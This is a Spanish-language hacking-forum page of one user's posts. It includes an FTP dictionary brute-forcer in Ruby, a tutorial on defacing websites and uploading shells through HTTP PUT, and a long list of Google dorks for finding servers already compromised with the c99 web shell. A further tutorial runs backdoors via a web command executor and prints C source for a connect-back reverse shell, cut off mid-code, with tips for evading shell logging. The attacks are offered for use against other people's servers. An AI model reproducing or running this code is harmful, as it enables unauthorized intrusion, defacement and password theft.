Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - dracko.rx

#41
Código: text
#Name program = Crack-Ftp
#Version = 0.1
#Autor = Guason

require 'net/ftp'


host=ARGV[0]
user=ARGV[1]
word=ARGV[2]


if !host || !user || !word

print "\n\t\t\tCracker-FTP 0.1 By Guason\t\t\t\n\n\n"
print "Modo de uso = ruby crack-ftp <HOST>  <USER> <WORDLIST>\n\n"
print "<HOST> = Servidor a crackear\n"
print "<USER> = User a crackear\n"
print "<WORDLIST> =  Diccionario a usar\n\n\n"
print "Ejemplo = ruby crack-ftp.rb 127.0.0.1 root c:/word.txt\n\n\n\n"
exit(1);

else

print "\nIntentando localizar #{host}\n\n"
print "\n\nOK , Atacando #{user}\n\n"


f=File.open(word)
dic=f.readlines

dic.each { |stooge|





begin

ses=Net::FTP.new(host, user, stooge)

rescue Net::FTPPermError

print ""


else


print "\n\nEl password es #{stooge}\n\n\n"
print "\n\n\nWritten by Guason || 2009\n\n\n"
exit(1);

end


}



end




#Agradecimientos = none = 0
#Email = [email protected]
#Web = infierno-hacking.webcindario.com
#Good Bye
#42
Bugs y Exploits / Tool by Guason para HTTP Hacking
Febrero 24, 2010, 03:09:49 PM
Código: text
#Name program = Dame_Info
#Version  = beta
#Funcion = Peticiones HTTP
#Autor = Guason





use IO::Socket;

unless ($ARGV[0] and $ARGV[1] and $ARGV[2]  ) {
print "\n\n\t\t\tDame_Info 0.1 by Guason\t\t\t\n\n";
print "Modo de uso = $0 <SERVER> <PORT> <PETICION>\n\n";
print "<SERVER> = Server ejemplo 127.0.0.1\n";
print "<PORT> = Puerto a usar ej 80 , 8080\n";
print "<PETICION> = GET ,HEAD ,OPTIONS\n\n";
exit 1;
}

my $remote= $ARGV[0];
my $port = $ARGV[1];
my $opcion  = $ARGV[2];

print "\n\n";


if  ( $opcion  eq "GET" ) {
$peticion = "GET / HTTP\/1.0";
$peticion .= "\r\n\r\n"; #Concatenamos un doble CR/LF para indicar el final del Header

my $iaddr = inet_aton($remote) || die "$remote";
my $paddr = sockaddr_in($port, $iaddr) || die "Caca !!";
my $proto = getprotobyname('tcp') || die "protocol !!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto);
connect(SOCK, $paddr) || die "cannot connect to $remote: $!";
send(SOCK,$peticion,0);

while(<SOCK>)
{
print $_;
}
}

if ( $opcion eq "HEAD") {
$peticion = "HEAD / HTTP\/1.0";
$peticion .= "\r\n\r\n"; #Concatenamos un doble CR/LF para indicar el final del Header

my $iaddr = inet_aton($remote) || die "$remote";
my $paddr = sockaddr_in($port, $iaddr) || die "Caca !!";
my $proto = getprotobyname('tcp') || die "protocol !!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto);
connect(SOCK, $paddr) || die "cannot connect to $remote: $!";
send(SOCK,$peticion,0);

while(<SOCK>)
{
print $_;
}
}

if ( $opcion eq "OPTIONS") {
$peticion = "OPTIONS / HTTP\/1.0";
$peticion .= "\r\n\r\n"; #Concatenamos un doble CR/LF para indicar el final del Header

my $iaddr = inet_aton($remote) || die "$remote";
my $paddr = sockaddr_in($port, $iaddr) || die "Caca !!";
my $proto = getprotobyname('tcp') || die
#43
Sqlsus es una inyección de código abierto MySQL y adquisición de herramientas, escrito en perl.

A través de una interfaz de línea de comandos que imita una consola de mysql, puede recuperar la estructura de base de datos, se inyecta una consulta SQL, descargar archivos desde el servidor web, control de carga y una puerta trasera, y mucho más ...

Está diseñado para maximizar la cantidad de datos recogidos por el servidor web de éxito, haciendo el mejor uso de funciones de MySQL para optimizar el espacio disponible inyección.

Sqlsus se centra en PHP / MySQL instalaciones, e integra algunas de las excelentes características, algunos de ellos realmente son específicos de este DBMS.

No es y no puede ser siempre la inyección de SQL escáner, comienza su trabajo en el próximo paso.

Tanto la cita y numérico inyecciones son compatibles.

Todos los textos citados se puede traducir como su equivalente en hexadecimal (por ejemplo: "sqlsus" se convertirá a 0 × 73716c737573).

Sqlsus también apoya estos 2 escenarios de la inyección:

# visión: el resultado de la solicitud será en el HTML devuelto por el servidor web.
# ciegos: si usted no puede ver el resultado de la solicitud directamente.

Soporte para GET y POST los parámetros de inyección.
Soporte para proxy HTTP y HTTP simple autenticación.


Por completo de registración de sus preguntas y las respuestas, lo que le permite recordar un comando y su respuesta en caché, incluso en una posterior reutilización de la sesión.

Requisitos:

En un sistema Debian, además de perl, tendrá los siguientes paquetes:

    * libterm-readline-perl-perl libterm-readline-perl-perl
    * libipc-shareable-perl libipc-compartible-perl
    * libwww-mechanize-perl LibWWW-mecanizar-perl

También requiere conocimientos previos de inyección de SQL, y ..  así .. un cerebro ayuda.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuente: Darknet.
Traducido por Google.
#44
El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del método HTTP PUT. Antes que nada necesito hacer una pequeña introducción para que comprendais cómo funcionan los Métodos HTTP, veremos algunos métodos y posteriormente pasare a la explicación de como usar PUT (Si el servidor lo tiene Allowed) para modificar un archivo, o para subir una shell.


El protocolo HTTP tiene una serie de métodos que permiten interaccionar al cliente con un servidor (generalmente en el que se aloja una web). Las relaciones entre cliente y servidor, se lleva a cabo a través de cabeceras, las que manda el cliente las denominaremos peticiones. El servidor manda otras cabeceras en respuesta a esas peticiones que el cliente mandó.

Existen varios tipos de cabeceras, entre las que destacan OPTIONS, HEAD, PUT, DELETE, MOVE, COPY, POST, GET... Estoy más seguro que estaris más familiarizados con los métodos POST y GET, sobre todo los que sepan PHP.

Para poder visualizar una web a través de un navegador, el navegador a tenido primero que mandar una cabecera con un metodo tipo GET (este tipo de metodo se encarga de mostrar el código fuente de un archivo, el cual posteriormente el navegador interpretará) a la cual el servidor ha respondido mandandole una cabecera con algunos datos, y que además contiene el source del archivo al que le hemos hecho GET.

Quizás os haya liado un poco con tanta palabrería, así que os lo explico rápidamente mostrando un ejemplo:

-Navegador manda una cabecera:
Código: text


GET /index.php HTTP/1.1
Host: hostfalso.com



-Servidor le contesta:
Código: text
HTTP/1.x 200 OK
Date: Mon, 25 Aug 2008 14:25:39 GMT
Server: Apache
Conection: Keep-Alive
Keep-Alive: Timeout=2, max=125

<h1>Hello World</h1>


omo podeis observar, la estructúra básica de una cabecera es:
[Metodo] [Archivo] HTTP/
Host: El host


Y debajo otros campos, como pueden ser el tiempo de vida, la cookie, el user-agent, etc...


Podemos usar add ons como Tamper Data, Live HTTP Header, o Achilles para poder sniffear estas cabeceras y poder modificarlas posteriormente. Nosotros vamos a servirnos de Live HTTP Header (para FireFox) para modificar las peticiones y así usar otros métodos...


Ahora retomemos aquello de lo que empecemos a hablar, los métodos HTTP. Si recordais, nombré a OPTIONS. Este método informa sobre los metodos que el servidor tiene Allowed (permitidos). Lo normal es que tengan muy restringido esto... Puesto como ya le enseñe a RGB90 en dos Webs, que si no se tiene cuidado podemos defacear perfectamente, o borrar archivos...

Bueno, como iba diciendo, si sniffeamos una cabecera con Live HTTP Headers, y le damos a REPETIR y cambiamos GET por OPTIONS, volvemos a dar a repetir... Y obtendremos una nueva respuesta por parte del servidor, en la cual aparecerá más data, y la parte que nos interesa los métodos permitidos.

Éstos aparecen en una línea que comienza con Allow: [Metodos permitidos]. En el caso de que tuviesen permito el método PUT, podríamos subir una shell...

Ahora hablemos un poco sobre este método... El método PUT es lo contrario de GET. GET, por su parte lo que hace es leer el source del archivo al que le hacemos la petición, en cambio, PUT lo que hace es sobreescribir sobre el código fuente del archivo. Para usar PUT simplemente devemos de mandar una cabecera así:
Código: text

PUT /archivo.txt HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4

Hola


Si el archivo al que le hacemos PUT existe, lo que ocurre es que se sobreescribe nuestro código fuente sobre el que ya había, en cambio si no existe el archivo... lo crea. Por lo tanto, de esta forma podemos subir una shell a un servidor que tenga permitido el método PUT.

Baste decir que si el webmaster mira sus logs, podrá ver perfectamente que hemos recurrido a esta técnica, puesto que canta mucho XD.


Podeis codearos algún exploit, yo anoche estuve codeando uno para este tutorial, se lo pasé a Seth para que lo betatesteara, me mandó los errores y los corregí, ahora el problema es de diseño, es decir funciona sin errores, pero me salta como que PUT está allowed siempre -.-, dentro de un rato lo revisaré haber si consigo arreglar eso y lo publico.
#45
Bugs y Exploits / Algunos ejercicios para practicar
Febrero 24, 2010, 03:06:27 PM
Preguntas teóricas generales

   1. ¿Por qué decimos que "Linux" es solamente el kernel del sistema operativo que utilizamos?

   2. ¿Qué representa cada una de las columnas que vemos por pantalla al ejecutar un ls -l?

   3. Explique porqué no se puede crear un "hard-link" en el disco rígido, de un archivo que se encuentra en un diskette.

   4. ¿Que son los meta-caracteres de shell? ¿Para qué se utilizan? Cite algunos ejemplos.

   5. ¿Cómo se determina en los sistemas UNIX el tipo de un archivo?

   6. ¿En qué consiste el dispositivo /dev/tty

   7. ¿Qué es una variable de entorno? ¿Qué variables de entorno son heredadas por las aplicaciones que se ejecutan?

   8. ¿Cuál es la función principal de un "filtro"? Cite algunos filtros y su funcionalidad básica.

   9. ¿En que consiste una "Expresion Regular". De algunos ejemplos.?


Ejercicios Prácticos - Básicos


   1. Además del comando "who" existe otro comando similar: "w". Utilice el manual del comando "w" para explicar qué significa la salida que obtenemos al ejecutarlo.

   2. ¿Que comando debemos ejecutar para crear un symlink llamado "HOWTO", al directorio "/usr/share/doc/HOWTO/es/HOWTO"?

   3. Ejecute touch #foo.c, explique lo que sucede.

Ejercicios Prácticos - Archivos, permisos y propiedad

   1. ¿De qué manera podemos evitar que los otros usuarios puedan ver el contenido de un directorio?

   2. ¿Cómo podemos hacer para que el archivo "ulises" tenga los siguientes permisos?
          * De lectura y escritura, solo para el dueño del archivo.
          * De lectura y ejecución para todos los usuarios.
          * De lectura para todos los usuarios, y escritura solo para el dueño del archivo.

# ¿Qué permisos asigna el comando "chmod 755 /bin" ? ¿Por qué, cuando ejecutamos este comando, nos dice que no poseemos los permisos necesarios?

# Explique qué permisos asignan o desasignan los siguientes comandos:

    * chmod o+r carta
    * chmod 755 /bin
    * chmod 644 /etc/passwd
    * chmod go-rw,a+x agenda


# Sobre el directorio /usr/bin

    * ¿Qué tipo de archivos hay en ese directorio?
    * ¿Cuáles son los permisos del directorio?
    * ¿Cómo se expresan esos permisos en forma octal?
    * ¿Por qué el directorio debe tener esos permisos, y no otros?
    * Explicar qué sucede cuando queremos cambiar los permisos del directorio


# Sobre el directorio /etc

    * ¿Qué tipo de archivos hay en ese directorio?
    * Compare y explique los permisos de los archivos /etc/passwd y /etc/shadow


Ejercicios Prácticos - Scripts de Shell

   1. Cite por lo menos dos maneras distintas de ejecutar un script de shell.

   2. Crear un script de Shell que monte la diskettera, copie todos los archivos (incluyendo subdirectorios) de la diskettera a un directorio que se pase como parámetro, y luego desmonte la diskettera. (Ayuda: para copiar tambien los subdirectorios, debe utilizarse un comando recursivo)

   3. Crear un script de Shell que liste únicamente los nombres de los directorios que se encuentran a partir del directorio actual.

   4. Realizar un script que espere hasta que un determinado proceso se ejecute. Y cuando ese proceso se ejecuta, matarlo. (Ayuda: utilizar el comando killall).

   5. Crear un script que reciba un directorio como primer parámetro, y a continuación una lista de archivos. El script debe validar que los parámetros recibidos sean realmente archivos y luego copiarlos al directorio recibido.

Ejercicios Prácticos - Filtros

   1. ¿Qué comando debe ejecutarse para contar la cantidad total de caracteres contenidos en todos los archivos del directorio actual?

   2. Realizar un script de Shell que compare dos archivos (que se reciben como parámetro) y diga por pantalla cuál de ellos tiene mayor cantidad de líneas.


Ejercicios Prácticos - Expresiones regulares

   1. ¿Qué debemos ejecutar para listar todos los archivos que tienen permiso de lectura, escritura y ejecución para los "otros"?

   2. Crear un script que lea un archivo de entrada, y guarde en otro archivo de salida, las líneas que comienzan con una vocal (mayúscula o minúscula).
      Extensión: recibir los nombres de los archivos por parámetros.

   3. Realizar una expresión regular que concuerde lo mejor posible con números telefónicos, tanto de formato internacional como nacional.
      Ejemplos de números válidos: ++54-11-4652-8589 ** 4512-8874 ** 43-9856
      Ejemplos de números no válidos: 5--8558 ** 4586- ** ++--8759

   4. El patrón .*@[^.]*\..* ¿Con qué tipo de cadena concuerda? ¿Puede mejorarlo?

   5. Realice un script que, leyendo el diccionario del sistema, almacene en un archivo la cantidad de palabras que empiezan con a, las que empiezan con b, las que empiezan con c, etc.

Esperamos que estos ejercicios te sirvan para practicar. Si estás desesperado y no encontrás la respuesta a alguno en particular, aquí están las respuestas.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#46
Bugs y Exploits / Convertidor de palabras a ascii
Febrero 24, 2010, 03:02:33 PM
bueno aqui les traigo una aplicacion muy facil de usar

bueno como estoy introduciendome con mucho exito en el deface,y como es costumbre mia
codear programas para lo que este aprendiendo,aqui les traigo este sencillo transformador de
palabras a ascii

esta programado en batch

Código: text

@echo off
color a
title Convertidor  Tabla Ascii
:inicio
cls
echo Escribe la palabra que quieres convertir:
set /p palabra=
set palabra=%palabra:-=45,%
set palabra=%palabra:0=48,%
set palabra=%palabra:1=49,%
set palabra=%palabra:2=50,%
set palabra=%palabra:3=51,%
set palabra=%palabra:4=52,%
set palabra=%palabra:5=53,%
set palabra=%palabra:6=54,%
set palabra=%palabra:7=55,%
set palabra=%palabra:8=56,%
set palabra=%palabra:9=57,%
set palabra=%palabra:_=95%
set palabra=%palabra:a=97,%
set palabra=%palabra:b=98,%
set palabra=%palabra:c=99,%
set palabra=%palabra:d=100,%
set palabra=%palabra:e=101,%
set palabra=%palabra:f=102,%
set palabra=%palabra:g=103,%
set palabra=%palabra:h=104,%
set palabra=%palabra:i=105,%
set palabra=%palabra:j=106,%
set palabra=%palabra:k=107,%
set palabra=%palabra:l=108,%
set palabra=%palabra:m=109,%
set palabra=%palabra:n=110,%
set palabra=%palabra:o=111,%
set palabra=%palabra:p=112,%
set palabra=%palabra:q=113,%
set palabra=%palabra:r=114,%
set palabra=%palabra:s=115,%
set palabra=%palabra:t=116,%
set palabra=%palabra:u=117,%
set palabra=%palabra:v=118,%
set palabra=%palabra:w=119,%
set palabra=%palabra:x=120,%
set palabra=%palabra:y=121,%
set palabra=%palabra:z=122,%

echo %palabra%>consulta-ascii.txt
start consulta-ascii.txt
cls
echo Deseas intentarlo de nuevo:(si/no)
set /p deseas=
if %deseas%==si goto inicio
if %deseas%==no goto exit

:exit
cls
echo.
echo No olvides borrar la ultima coma.
pause>nul
cls
title mechanixer.org  e-r00t.org
echo Gracias por probar este programa 
echo.
echo.
echo        Coded by wscalle1
echo.
echo.
echo.
echo No olvides visitar
echo. 
echo  www.mechanixer.org
echo                     y
echo                       www.e-r00t.org
pause>nul
exit


so lo postearan en otro lugar pongan la fuente

100% codeado por mi hoy en la escuela esque estaba aburrido

el problema de este es que solo soporta minusculas y varios signos

pero lo hare en C para poner letras mayusculas tambien.


Saludos. by Wscalle1
#47
Bugs y Exploits / Algunos dorks de shells
Febrero 24, 2010, 03:02:10 PM
Código: text
safe-mode: off (not secure) drwxrwxrwx c99shell
  inurl:c99.php
  inurl:c99.php uid=0(root)
  root c99.php
  "Captain Crunch Security Team" inurl:c99
  download c99.php
  download c99.php
  download c99.php
  inurl:c99.php
  inurl:c99.php
  allinurl: c99.php
  inurl:c99.php
  allinurl: c99.php
  inurl:"/c99.php"
  allinurl: c99.php
  inurl:c99.php
  inurl:"c99.php" c99shell
   inurl:c99.php uid=0(root)
   c99shell powered by admin
   c99shell powered by admin
  inurl:"/c99.php"
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  c99 shell v.1.0 (roots)
  inurl:c99.php
  allintitle: "c99shell"
  inurl:"c99.php
  inurl:"c99.php
  allinurl: "c99.php"
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  intitle:C99Shell v. 1.0 pre-release +uname
  allinurl: "c99.php"
  inurl:c99.php
  inurl:"c99.php"
  inurl:"c99.php"
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:"c99.php" c99shell
  inurl:c99.php
  inurl:"c99.php"
  allinurl:c99.php
  inurl:"/c99.php
  inurl:c99.php?
  inurl:/c99.php+uname
  allinurl:"c99.php"
  allinurl:c99.php
  inurl:"c99.php"
  inurl:"c99.php"
  allinurl:c99.php
  allinurl:c99.php?
  allinurl:c99.php?
  allinurl:c99.php?
  "inurl:c99..php"
  allinurl:c99.php
   c99shell [file on secure ok ]?
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
   powered by Captain Crunch Security Team
  allinurl:c99.php
  "c99.php" filetype:php
  allinurl:c99.php
  inurl:c99.php
  allinurl:.c99.php
  "inurl:c99.php"
  c99. PHP-code Feedback Self remove
  allinurl:c99.php
  download c99.php
  allinurl:c99.php
  inurl:c99.php
  allinurl: "c99.php"
  allinurl:c99.php
  allinurl:c99.php
  c99shell
  inurl:c99.php
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  allinurl:"c99.php"
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  inurl:c99.php
  safe-mode: off (not secure) drwxrwxrwx c99shell
  inurl:/c99.php
  inurl:"c99.php"
  inurl:c99.php
  inurl:c99.php
  c99.php download
   inurl:c99.php
  inurl:"c99.php"
  inurl:/c99.php
  inurl:"c99.php?"
  inurl:c99.php
  inurl:c99.php
  files/c99.php
  c99shell filetype:php -echo
  c99shell powered by admin
  inurl:c99.php
  inurl:c99.php
  inurl:"c99.php"
  inurl:c99.php uid=0(root)
  allinurl:c99.php
  inurl:"c99.php"
  inurl:"c99.php"
  inurl:"/c99.php" intitle:"C99shell"
  inurl:"/c99.php" intitle:"C99shell"
  inurl:"/c99.php" intitle:"C99shell"
  C99Shell v. 1.0 pre-release build #5
  inurl:c99.php
  inurl:c99.php
  --[ c99shell v. 1.0 pre-release build #16
  c99shell linux infong
  c99shell linux infong
  C99Shell v. 1.0 pre-release build
  !C99Shell v. 1.0 beta!
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  !c99shell v. 1+Safe-mode: OFF (not secure)
  "C99Shell v. 1.0 pre-release build "
  intitle:c99shell +filetype:php
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  "Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  intitle:!C99Shell v. 1.0 pre-release build #16! root
  !C99Shell v. 1.0 pre-release build #5!
  inurl:"c99.php"
  C99Shell v. 1.0 pre-release build #16!
  c99shell v. 1.0 pre-release build #16
  intitle:c99shell intext:uname
  allintext:C99Shell v. 1.0 pre-release build #12
  c99shell v. 1.0 pre-release build #16
  --[ c99shell v. 1.0 pre-release build #15 | Powered by ]--
  allinurl: "c99.php"
  allinurl: "c99.php"
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  "c99shell v 1.0"
  ftp apache inurl:c99.php
  c99shell+v.+1.0 16
  C99Shell v. 1.0 pre-release build #16 download
  intitle:c99shell "Software: Apache"
  allinurl: c99.php
  allintext: Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove

Logout
  powered by Captain Crunch Security Team
  powered by Captain Crunch Security Team
  !C99Shell v. 1.0 pre-release build #5!
  c99shell v. 1.0 release security
  c99shell v. 1.0 pre-release build
  inurl:c99.php
  c99shell [file on secure ok ]?
  C99Shell v. 1.3
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php uid=0(root)
   powered by Captain Crunch Security Team
  C99Shell v. 1.0 pre-release build #16
  c99shell[on file]ok
  c99shell[file on ]ok
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php
  "C99Shell v. 1.0 pre"
  =C99Shell v. 1.0 pre-release
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  c99shell v. pre-release build
  inurl:c99.php c99 shell
  inurl:c99.php c99 shell
  powered by Captain Crunch Security Team
  inurl:c99.php
  inurl:c99.php
  !C99Shell v. 1.0 pre-release build #5!
  intitle:"c99shell" filetype:php root
  intitle:"c99shell" Linux infong 2.4
  C99Shell v. 1.0 beta !
  C99Shell v. 1.0 pre-release build #
  inurl:"c99.php"
  allintext:C99Shell v. 1.0 pre-release build #12
  "C99Shell v. 1.0 pre"
  powered by Captain Crunch Security Team
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:/c99.php?
  allinurl:c99.php
  intitle:C99Shell pre-release
  inurl:"c99.php"
  powered by Captain Crunch Security Team
  inurl:c99.php
  C99Shell v. 1.0 pre-release build #16!
  allinurl:c99.php
  C99Shell v. 1.0 pre-release build #16 administrator
  intitle:c99shell filetype:php
  powered by Captain Crunch Security Team
  powered by Captain Crunch Security Team
  C99Shell v. 1.0 pre-release build #12
  c99shell v.1.0
  allinurl:c99.php
  "c99shell v. 1.0 pre-release build"
  inurl:"c99.php" filetype:php
  "c99shell v. 1.0 "
  ok c99.php
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
   c99shell v. 1.0 pre-release build #16 |
  !C99Shell v. 1.0 pre-release build #5!
  !C99Shell v. 1.0 pre-release build #5!
  allinurl:/c99.php
  powered by Captain Crunch Security Team
  inurl:c99.php
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php
  powered by Captain Crunch Security Team
  inurl:c99.php
  C99Shell v. 1.0 pre-release
  inurl:c99.php
  inurl:c99.php ext:php
  inurl:"c99.php"
  allinurl:"c99.php"
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  powered by Captain Crunch Security Team
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout"
  C99Shell v. 1.0 pre-release build #16 software apache
   Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  "c99shell v 1.0"
  inurl:"c99.php"
  allintitle: C99shell filetype:php
  C99Shell v. 1.0 pre-release build #16!
  "c99shell v. 1.0 pre-release"
  c99shell v. 1.0 pre-release build #5
  allinurl:"c99.php" filetype:php
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  !C99Shell v. 1.0 pre-release build #16!
  inurl:c99.php
  intitle:C99Shell v. 1.0 pre-release +uname
  inurl:c99.php
  c99shell v. 1.0
  allinurl: c99.php
   --[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | ]--
  inurl:"/c99.php"
  c99shell +uname
  c99shell php + uname
  c99shell php + uname
  --[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | ]--
  allinurl:c99.php
  !C99Shell v. 1.0 pre-release build #5!
  C99Shell v.1.0 pre-release
  Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
  inurl:c99.php
  intitle:c99shell filetype:php
  "Encoder Tools Proc. FTP brute"
  "c99" filetype:php intext:"Safe-Mode: OFF"
  c99shell v. 1.0 pre
  inurl:c99.php
  intitle:c99shell uname -bbpress
intitle:"index.of" c99.php
  inurl:admin/files/
  intitle:"index of /" "c99.php"
  intitle:"index of" intext:c99.php
  intitle:index.of c99.php
  intitle:"index of" + c99.php
  intitle:index/of file c99.php
  intitle:index/of file c99.php
  index of /admin/files/
  intitle:"Index of/"+c99.php
  c99.php "intitle:Index of "
  c99.php "intitle:Index of "
  c99.php "intitle:Index of "
  intitle:index.of c99.php
  img/c99.php
  intitle:index.of c99.php
   img.c99.php
  intitle:"Index of/"+c99.php
  "index of /" c99.php
  c99.php
  intitle:"Index of" c99.php
  "index of" c99.php
  "Index of/"+c99.php

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#48
Código: text
#Name program = Google-search
#Version = 1.0
#Autor = Guason

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

my $google = $ARGV[0];
my $pages = $ARGV[1];
my $file = $ARGV[2];

if(!$ARGV[0]) {
print "\n" x 40;
print "google-dos.pl  Busqueda google mode Dos\n\n";
print "\n\n";
print "Sintasis = $0 <GOOGLE>  <NUMBER> <FILE>\n\n";
print "Ejemplo = perl.pl google-dos.pl www.google.com.ar porno 99 porno_file.txt\n";
print "GOOGLE = Tipo de google = ar ,mx\n";
print "NUMBER = Numero de resultados a obtener\n";
print "FILE   = * Opcional  :Archivo de resultados ej resultado.txt\n";
print "\n\n\n";
print "Written by Guason\n";
exit 1;

}
print "\n\n";
print "String a buscar:";
$string = <STDIN>;
chomp $string;
system ("cls");
print "\n";


print "\t\t Datos ingresados\t\t";
print "\n\n\n";
print "\t\tGoogle = $google\t\t";
print "\n";
print "\t\tString  =  $string\t\t";
print "\n";
print "\t\tNumber = $pages\t\t";
print "\n";
print "\t\tFile = $file\t\t";
print "\n\n";

print "Estas de acuerdo con los datos S/N > ";
$stop = <STDIN>;
chomp $stop;

if ($stop eq "N") {
print "\n";
print "OK\n\n";
exit 1;
} else {


my $ua = new LWP::UserAgent;
$ua->agent('Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.12) Gecko/20080301 Firefox/2.0.0.12');

for($i=1;$i<$pages;$i++){
my $pedido = new HTTP::Request GET =>"http://$google/search?hl=&q=$string&start=$i";
my $resultado = $ua->request($pedido) or die ">Yet!\n";
$ua->timeout(0);
my $result = $resultado->content;

while ($result =~ m/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/g){
if ($1 !~ /64\..*\|\.google.*|\.orkut|.*\.google.*|\.youtube.*/){
my $sites=$2;

open (LOG, ">>$file");
print LOG "$sites\n";
print "$sites\n";
close(LOG);
}
}
}
}


#Agradecimientos = none = 0
#Email = [email protected]
#Web = infierno-hacking.webcindario.com
#blog = guason-cracker.blogspot.com
#Good Bye
#49
Bugs y Exploits / Shell con Firewall
Febrero 24, 2010, 02:51:35 PM
############################################################################

sh-2.05# ./ Escrito por Status-x [ No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ] - Mexico

############################################################################

********************************************** ******************************

[ Contenido ]

[ 1 ] .- Introduccion.............................................. Status-x

[ 2 ] .- Backdoors................................................. Status-x

[ 3 ] .- Conexion Reversa.......................................... Status-x

[ 4 ] .- Despedida................................................. Status-x

****************************************************************************

########################################## ##################################

sh-2.05# ./ Introduccion

############################################################################

Que onda, seguramente muchas veces a algunos ustedes el backdoor de su

preferencia no les conecta, bien esto significa que el servidor tiene fire

wall y por lo tanto no acepta conexiones por los distintos puertos que los

backdoors usan, es por eso que veremos como conectarnos aunque el servidor

tenga firewall, para eso utilizaremos un backdoor de conexion reversa que es

mucho mas amigable que trabajar con netcat :)

############################################################################

sh-2.05# ./ Backdoors

############################################################################

r0nin, vaya backdoor jejejeje seguramente muchos solo conocen ese, se han

quedado estancados ahi, al leer un tuto y hacer su primer deface ya son

elites y van presumiendo por distintas webs que saben hacer un deface sin

embargo creo que solo se conforman con hacer su index

------------------------------
echo Yo soy hax0r >index.html
------------------------------

Bien, un backdoor como su nombre lo indica en español es una aplicacion que

nos abrira una puerta trasera por la cual entrar, similar en funcionamiento

a los clasicos troyanos, hay distintos backdoors y hay algunos que solo fun

cionan con determinado OS, esto quiere decir que para cada Os podria haber

un backdoor, en este caso usaremos un backdoor normal cuyo autor es

Innocent Boys de Brazil.

Comenzaremos haciendo que el backdoor haga su funcion abrirnos un puerto

,bien en este caso el backdoor me habre una puerta en el 9865

En un ejecutor de comandos correremos el backdoor:

---------------------------------------------------------------------------
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
?&cmd=cd /tmp;./backdoor

Innocent Boys Backdoor

Binding the 9865
OK, pid = 30584
---------------------------------------------------------------------------

Ahora nos trataremos de conectar por el putty o con telnet:

-----------------------------------------------

telnet:localhost:9865

-----------------------------------------------

S in embargo vemos que no nos da la shell, esto quiere decir que tendremos

que echar mano de un backdoor especial que sirve para hacer conexion reversa

y nos conectara aunque el servidor tenga firewall :)

############################################################################

sh-2.05# ./ Conexion Reversa

############################################################################

Para conectarnos usaremos un backdoor de conexion reversa, llamado ConnectBack

Backdoor, :) a continuacion su codigo fuente

------------------------ COTAR AQUI ---------------------------------
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
int main(int argc, char **argv) {
char *host;
int port = 80;
int f; int l;
int sock;
struct in_addr ia;
struct sockaddr_in sin, from;
struct hostent *he;
char msg[ ] = "Connect Back Shell "
"Issue \"export TERM=xterm; exec bash -i\" "
"For More Reliable Shell. "
"Issue \"unset HISTFILE; unset SAVEHIST\" "
"For Not Getting Logged. (; ";
printf("Connect Back Backdoor ");
if (argc < 2 || argc > 3) {
printf("Usage: %s [Host] <port> ", argv[0]);
return 1;
}
printf("
  • Dumping Arguments ");
    l = strlen(argv[1]);
    if (l <= 0) {
    printf("[-] Invalid Host Name ");
    return 1;
    }
    if (!(host = (char *) malloc(l))) {
    printf("[-] Unable to Allocate Memory ");
    return 1;
    }
    strncpy(host, argv[1], l);
    if (argc == 3) {
    port = atoi(argv[2]);
    if (port <= 0 || port > 65535) {
    printf("[-] Invalid Port Number ");
    return 1;
    }
    }
    printf("
  • Resolving Host Name ");
    he = gethostbyname(host);
    if (he) {
    memcpy(&ia.s_addr, he->h_addr, 4);
